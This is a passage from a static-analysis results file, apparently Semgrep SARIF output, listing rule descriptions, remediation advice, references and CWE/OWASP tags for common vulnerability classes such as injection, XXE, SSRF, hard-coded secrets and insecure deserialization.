value. To fix this, use java.security.SecureRandom instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random","id":"scala.lang.security.audit.insecure-random.insecure-random","name":"scala.lang.security.audit.insecure-random.insecure-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.insecure-random.insecure-random"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","id":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","name":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","id":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","name":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","id":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","name":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","id":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","name":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express","id":"javascript.express.db.mongodb-where-express.mongodb-where-express","name":"javascript.express.db.mongodb-where-express.mongodb-where-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-where-express.mongodb-where-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"help":{"markdown":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse)\n - [https://pkg.go.dev/path#Clean](https://pkg.go.dev/path#Clean)\n - [http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html](http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html)\n - [https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/](https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/)\n - [https://dzx.cz/2021/04/02/go_path_traversal/](https://dzx.cz/2021/04/02/go_path_traversal/)\n - [https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme](https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme)\n","text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"helpUri":"https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse","id":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","name":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.filepath-clean-misuse.filepath-clean-misuse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","id":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","name":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password","id":"python.redis.python-redis-empty-password.python-redis-empty-password","name":"python.redis.python-redis-empty-password.python-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-empty-password.python-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"help":{"markdown":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges)\n - [https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)\n","text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","id":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","name":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"help":{"markdown":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function)\n - [https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers](https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers)\n","text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function","id":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","name":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.null-deref.null-library-function.null-library-function"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests","id":"python.flask.security.injection.ssrf-requests.ssrf-requests","name":"python.flask.security.injection.ssrf-requests.ssrf-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.ssrf-requests.ssrf-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"help":{"markdown":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment","id":"python.django.security.injection.mass-assignment.mass-assignment","name":"python.django.security.injection.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","id":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","name":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"help":{"markdown":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization)\n - [https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks)\n","text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","id":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","name":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","id":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","name":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"help":{"markdown":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security)\n","text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","id":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","name":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - 